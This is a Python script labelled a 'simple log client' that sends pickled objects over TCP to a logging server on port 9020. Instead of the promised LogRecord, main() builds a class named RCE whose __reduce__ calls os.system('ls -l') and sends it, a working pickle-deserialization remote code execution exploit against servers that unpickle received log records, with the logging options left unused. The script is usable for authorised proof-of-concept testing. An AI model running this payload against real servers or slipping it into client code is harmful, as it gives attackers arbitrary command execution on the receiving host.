#!/usr/bin/env python3
"""
Simple log client - send objects directly via TCP
Usage: python log_client.py [--host HOST] [--port PORT] [--message MESSAGE]
"""

import argparse
import logging
import pickle
import socket
import struct
import sys


def send_log_record(host, port, record):
    """
    Send LogRecord object to server via TCP
    
    Args:
        host: Server address
        port: Server port
        record: logging.LogRecord object
    """
    try:
        # Create socket connection
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        
        # Serialize LogRecord object to pickle
        data = pickle.dumps(record)
        
        # Send 4-byte length (big-endian)
        length = struct.pack('>L', len(data))
        sock.sendall(length)
        
        # Send pickle data
        sock.sendall(data)
        
        sock.close()
        return True
    except Exception as e:
        print(f"Send failed: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(description="Simple log client")
    parser.add_argument("--host", default="localhost", help="Server address (default: localhost)")
    parser.add_argument("--port", type=int, default=9020, help="Server port (default: 9020)")
    parser.add_argument("--message", default="Hello from client", help="Message to send")
    parser.add_argument("--level", default="INFO", choices=["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"],
                       help="Log level (default: INFO)")
    parser.add_argument("--name", default="test-client", help="Logger name")
    
    args = parser.parse_args()
    
    # Create LogRecord object
    log_level = getattr(logging, args.level.upper())
    
    print(f"Connecting to server {args.host}:{args.port}...")
    class RCE:
        def __reduce__(self):
            import os
            return (os.system, ("ls -l",))
    record = RCE()
    if send_log_record(args.host, args.port, record):
        print("✓ Sent")
    else:
        print("✗ Send failed")


if __name__ == "__main__":
    main()
